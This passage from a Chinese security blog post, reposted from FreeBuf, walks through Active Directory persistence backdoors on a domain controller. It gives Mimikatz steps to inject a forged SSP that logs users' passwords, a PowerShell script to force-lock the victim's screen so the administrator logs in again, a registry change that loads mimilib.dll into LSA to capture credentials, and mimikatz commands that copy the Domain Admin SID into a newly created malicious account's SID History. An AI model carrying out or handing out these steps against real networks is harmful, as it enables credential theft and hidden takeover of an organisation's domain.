如上图所示,我们成功使用Mimikatz将伪造的SSP注入内存,只要用户在目标主机DC上重新登录(这里指的是注销、锁屏等重新登录,重启不行),登录的用户名和密码将会被记录在C:\Windows\System32\mimilsa.log 文件中。

给出一个Windows锁屏的powershell脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Function Lock-WorkStation {

$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

将该脚本上传到目标主机后,用powershell运行他即可使目标主机锁屏:

1
2
powershell .\Lock-screen.ps1
powershell 目录\Lock-screen.ps1

1604235271_5f9eb0077a63882d27e45.png?1604235275440

此时,如果管理员发现屏幕被锁了并重新登录,他的密码就会被记录在 C:\Windows\System32\mimilsa.log 文件中:

1604235394_5f9eb082001f9c377599e.png?1604235395118

1604236150_5f9eb3766bf620aecfde3.png?1604236151495

注意:该方法不会再目标主机中留下二进制文件,但是如果域控重启,被注入的内存的伪造的SSP将会丢失。

方法二:直接上传Mimikatz的mimilib.dll

该方法是直接将mimikatz中的mimilib.dll放到系统的C:\Windows\System32目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果,但是会在目标主机上留下二进制文件。

首先,我们上传mimilib.dll到目标域控主机的C:\Windows\System32目录下:

1604235697_5f9eb1b13180c08e6191c.png?1604235698116

然后修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,将mimilib.dll添加进去,让其加载新的DLL文件“mimilib.dll”:

1604235871_5f9eb25fb3b377abde9f0.png?1604235872838

这样如果是系统重启后,DLL将会被成功加载,用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log中:

1604236967_5f9eb6a78fc0a9401b74f.png?1604236968571

SID History域后门

SID也就是安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。Windows 2000 中的内部进程将引用帐户的 SID 而不是帐户的用户或组名。如果创建帐户,再删除帐户,然后使用相同的用户名创建另一个帐户,则新帐户将不具有授权给前一个帐户的权力或权限,原因是该帐户具有不同的 SID 号。安全标识符也被称为安全 ID 或 SID。

在Windows中,每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方法。

下面我们演示用mimikatz添加SID History后门的操作。

首先我们在域控制器上新建一个恶意用户“whoami”:

1
net user whoami Liufupeng123 /add

1604238053_5f9ebae5e4681272d6214.png?1604238055052

然后再域控上传mimikatz,并用管理员权限运行。然后执行如下命令,将域管理员Administrator的SID添加到恶意域用户 whoami 的SID History属性中。

1
2
3
privilege::debug
sid::patch
sid::add /sam:whoami /new:Administrator //将AdministratorSID添加到whoamiSID History属性中

注意:在使用mimikatz注入SID之前,需要使用 sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性;mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。

1604238381_5f9ebc2d1d9fc15cfd0c9.png?1604238383350

然后,我们可以用powershell查看一下这个whoami恶意用户的SID History:

1604238877_5f9ebe1d2fb9515843a3d.png?1604238878125

如上图所示,whoami用户的SID History和administrator域管理员的sid相同。那么现在,我们的whoami用户便拥有了administrator域管理员的权限,并可以用该用户登录域控主机:

img

Ending……

img

就先写到这里吧,以后在慢慢补充。

最近学习生活太忙了,文章写得略显仓促,还请见谅!!!呜呜呜~

笔者尚为正在入门的小白一枚,文中若有不当之处,还请各位大佬多多指点,小生还需多向前辈们学习!

转载自我的Freebuf:https://www.freebuf.com/articles/web/252963.html

参考:

https://www.pianshen.com/article/68221201924/

https://www.cnblogs.com/xiaozi/p/11815957.html

https://blog.csdn.net/qq_36119192/article/details/104371122

https://www.jianshu.com/p/f3f3d4d34701

https://blog.csdn.net/qq_36119192/article/details/104375536

https://blog.csdn.net/thanklife/article/details/76853083

https://blog.csdn.net/qq_23936389/article/details/101730500

https://www.cnblogs.com/xiaozi/p/11797078.html

https://blog.csdn.net/qq_36119192/article/details/104372241